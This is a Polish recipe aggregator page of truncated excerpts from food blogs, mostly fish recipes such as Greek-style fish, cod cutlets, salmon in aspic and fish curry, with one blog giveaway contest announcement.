bardzo lubię i chętnie jadam nie tylko w Wigilię. Dlatego chętnie zrobiłam ją mojemu P., który również jest jej fanem. No to do dzieła. Ryba po grecku Należy przygotować: 0,5 kg filetów z ryby (u mnie była to mrożona tilapia i sprawdziła się super) 2 duże marchewki 1 pietruszkę 1 małego selera (lub pół dużego) 2 cebule(...)koncentratu pomidorowego przyprawy: sól, pieprz, słodka mielona papryka, majeranek, 4 ziarna ziela angielskiego, 2 liście laurowe płaska łyżeczka cukru mleko i mąka do obtoczenia ryby (ewentualnie jajko) olej do smażenia Marchewkę, pietruszkę i seler ścieramy na tarce na grubych oczkach. Cebulkę kroimy w drobną kostkę. Wszystko przekładamy do garnka i podlewamy wodą. Najpierw ok. 0,5 szklanki, ale później

Ratunku obiad
Konkurs 106

przygotowania przedstawiony jest na 6 dołączonych do przepisów płytach. Jak widać egzemplarz dla kogoś z Was jest zapakowany i nieużywany. Ja mam swój egzemplarz, fajna sprawa, bo bardzo lubię ryby. Chcecie wygrać? Oto zasady: 1. Nie wymagam trudnych rzeczy, pewnie każdy z Was przedstawiał kiedyś na swoim blogu przepis z wykorzystaniem ryby - im ciekawszy tym lepszy. Zadaniem jest(...)wklejenie w komentarzu linku do 1 (!) Waszego przepisu z użyciem ryby, który mi polecacie.  2. Osoby, które nie posiadają bloga mogą wkleić link do przepisu, który dodali na jakimś portalu kulinarnym.  3. Ostatecznie można także wkleić przepis bezpośrednio w komentarzu. 4. Spośród nich wybiorę ten, który najbardziej przypadł mi do gustu. 5. Osoby, które nie posiadają bloga

Pasja Smaku
Kotlety z dorsza 143

smaczny pomysł i urozmaicenie obiadu. Kotlety robi się bardzo szybko. Składniki: ok. 1 kg filetów z dorsza (u mnie mrożone) pęczek szczypiorku cebula 2 jajka sól, pieprz przyprawa do ryb sucha bułka (np. kajzerka) bułka tarta Wykonanie: Filety rozmrozić, wypłukać, osuszyć i przepuścić przez maszynkę. Do ryby dodać posiekany szczypiorek, pokrojoną w kostkę i lekko podsmażoną cebulę, namoczoną(...)następnie dobrze odciśniętą bułkę, jajka oraz przyprawy: sól, pieprz i łyżeczkę przyprawy do ryb.  Składniki dobrze wymieszać i z rybnej masy formować kotlety. Każdy obtoczyć w bułce tartej i smażyć na rozgrzanym oleju na złoty kolor.  Podawać z ziemniakami i np. marchewką z groszkiem lub surówką z kiszonej kapusty

Pasja Smaku
ŁOSOŚ W GALARECIE 254

włożyć do wrzącego wywaru warzywnego. Można posłużyć się kostką rosołową lub gotować wywar z warzyw. Gotować rybę ok.10 minut od wypłynięcia na powierzchnię. Następnie wyjąć ją delikatnie i odłożyć na talerzyk do wystudzenia. Do mniejszego garnka wlać 1l wywaru z ryby, zagotować i odstawić . Dodać 2 żelatyny na 1l wody i dokładnie rozmieszać. Odstawić w chłodne miejsce , gdy przestygnie(...)umieścić w lodówce . Zawsze przygotowuję żelatynę w połowie ilości wody jest wówczas bardzo gęsta i nie spływa z ryby.  Z przestudzonego łososia zdjąć skórę , wytrzeć go do sucha i ułożyć na półmisku, w  odpowiednich odstępach.  Nałożyć dekorację: na każdym kawałku ułożyć majonez , a na nim resztę dekoracji, wedle uznania. Schłodzić najlepiej w lodówce. Gdy żelatyna zacznie

Smaczne Zdrowe
Dorsz w ziołach z pomidorami 186

racje tego, że dzisiaj piątek mam dla Was pyszny i łatwy sposób na podanie mojej ulubionej ryby:) Ryba jest w lekkiej, dietetycznej wersji z dużą ilością ziół i warzyw oraz soku z cytryny dla smaku. Ja użyłam dorsza, ale oczywiście możecie wziąć inną, Waszą ulubioną rybę. Gorąco polecam! Składniki: 60dag filetu z dorsza, cebula, 2 pomidory, cytryna, 3 łyżki(...)oliwy, sól, pieprz, po łyżce posiekanych ziół: natka pietruszki, koperek, bazylia, estragon. Przygotowanie Cebulę drobno posiekać, wymieszać z ziołami. Rybę podzielić na porcje doprawić solą i pieprzem, ułożyć na kawałkach folii aluminiowej. Na rybie ułożyć posiekane zioła wraz z cebulą. Pomidory umyć, osuszyć i pokroić w kosteczkę. Cytrynę wyszorować, skórkę bardzo cienko obrać, pokroić w cienkie paseczki. Sok z cytryny

Z miłości do słodkości
Dietetyczna ryba w jarzynach 308

Wiosna to czas kiedy nasze dania są lekkie i przepełnione dużą ilością warzyw:)) Taka jest właśnie moja ryba pokryta duszonymi warzywami. Lekkostrawna, mało kaloryczna, ale przede wszystkim zdrowa i naprawdę smaczna! Można też zwykłe schabowe pokryć tak uduszonymi warzywami.  Składniki: 700g filetu z dorsza,  2 marchewki, 1/4 kapusty pekińskiej,  1/3 pora,  3 liście selera naciowego(...)warzyw, dodać ziarna pieprzu i ziele angielskie. Podlać odrobiną wody, doprawić do smaku solą i pieprzem, dusić około 10 minut na małym ogniu. Rybę oprószyć z obu stron solą morską oraz przyprawą do ryb. Dać na patelnię, przykryć jarzynami. Dusić około 15 minut pod przykryciem

Z miłości do słodkości
Warsztaty "ryby i owoce morza" w Mastercooku 152

miałam okazje uczestniczyć w siedzibie Mastercooka we Wrocławiu w fantastycznych warsztatach pt. „Ryby i owoce morza” prowadzonych przez Piotra Kucharskiego. Warsztaty były nagrodą za nadesłanie przepisu z użyciem ryb w konkursie na stronie Smaki Wrocławia. Mój przepis który został doceniony przez Jury to Grillowany dorsz z pietruszkowym pesto. Czytaj więcej

Bernika - moj kulinarny pamietnik
Ryba w sosie curry- fish curry 183

rozkosz dla podniebienia...pychotka...zachęcam do spróbowania :) Składniki: sok z jednej limetki 4 łyżki rybnego sosu( fish sauce) 2 łyżki Thai soja sos 1 świeżej papryczki chilli 350 gr ryby monkfish 350 gr łososia 400 ml mleka kokosowego 3 kaffir lime liści 1 łyżka czerwonej pasty curry 1 szklanka ryżu jaśminowego pokrojona pietruszka Wykonanie: przygotować marynatę: sok z limetki(...)łyżki sosu rybnego, 2 łyżki thai sosu I pokrojona papryczka chilli-wymieszać w miseczce. Pokroić rybę. Zalać marynatą. Przykryć I odłożyć do lodówki na 1-2 godzinę lub na całą noc :) Do woka wlać mleko kokosowe. Zagotować . Dodać curry paste, lime liście I 2 łyżki sosu rybnego. Pozostawić na małym ogniu ok 10 min. Do mleka dodać rybę , zagotować

Smaki Edyty
Sandacz po grecku 191

Ryby po grecku robie w różnych wersjach. Z gotowanej ryby z gotowanymi warzywami. Ze smażonej- z duszonymi warzywami. Gatunki ryb też się zmieniają .Kiedyś robiłam w ten sposób dorsza bo najbardziej mi smakował .Potem parę innych ryb . Ostatnio bardzo często kupuje filety z sandacza . Czytaj więcej

Buniabaje w kuchni
Dorsz po grecku z modyfikacją 164

posiłki. Najłatwiej jest mi robić to w ten sposób , że kupując filet ryby na obiad z góry przeznaczam połowę na rybę po grecku lub w galarecie. Dziś zaciekawiło mnie czy można trochę zmienić podstawowy skład sosu do ryby po grecku. Dodałam pokrojonej w paski papryki i krojonego pomidora ( użyłam zamrożone na leczo). Podpowiadam - taka ryba ,,po grecku

Buniabaje w kuchni
Ryba z warzywami na parze 127

Dzisiaj propozycja na lekki i pyszny obiad z rybą w roli głównej. Ja swoje warzywa i rybę przygotowałam na parze, ale można też zrobić pieczone. Ważne by danie było lekkie i dobrze doprawione cytryną oraz ziołami.  Składniki : * 2 kawałki dowolnej ryby - u mnie mintaj * 2 małe ziemniaki  * sól , pieprz * sok z cytryny * bazylia , inne ulubione zioła(...)dowolny mix warzyw Przygotowanie : Rybę pokroić na mniejsze kawałki , przyprawić do smaku, Ziemniaki obrać, pokroić w talarki. W garnku do gotowania na parze, bądź na specjalnej kratce ułożyć ziemniaki, warzywa i parować około 20 -30 minut.  Dodać rybę i parować kolejne 10 minut. Całość skropić sokiem z cytryny i posypać ziołami

Magiczne Życie Marty
DORSZ PO AZJATYCKU. 210

jako mała Karmel-itka, nie znosiłam ich. Tego zapach, smaku, konsystencji, a dziś? Mogę się nimi zajadać i z ręką na sercu stwierdzam, że z wielką chęcią zamieniłabym na ryby każdy inny rodzaj mięsa. Szczególnie, kiedy są tak smacznie przyrządzone :] DORSZ PO AZJATYCKU. / po części autorski;/ 4 porcje 4 filety z dorsza 1 cały por 3 średnie marchewki olej(...)zależności od upodobania), wkładam do garnka i wlewam tyle wody, aby przykryła rybę. Dodaję 1/2 łyżeczki soli. Zagotowuję i od tego momentu gotuję przez ok. 12 minut. Następnie wyjmuje rybę z wody, skrapiam sokiem z 1/2 cytryny i zostawiam w cieple. Chili pozbawiam pestek, kroję w możliwie najdrobniejszą kosteczkę. Pora kroję w cienkie  półplasterki, a marchewkę w cieniutkie słupki

W kuchni Karmel-itki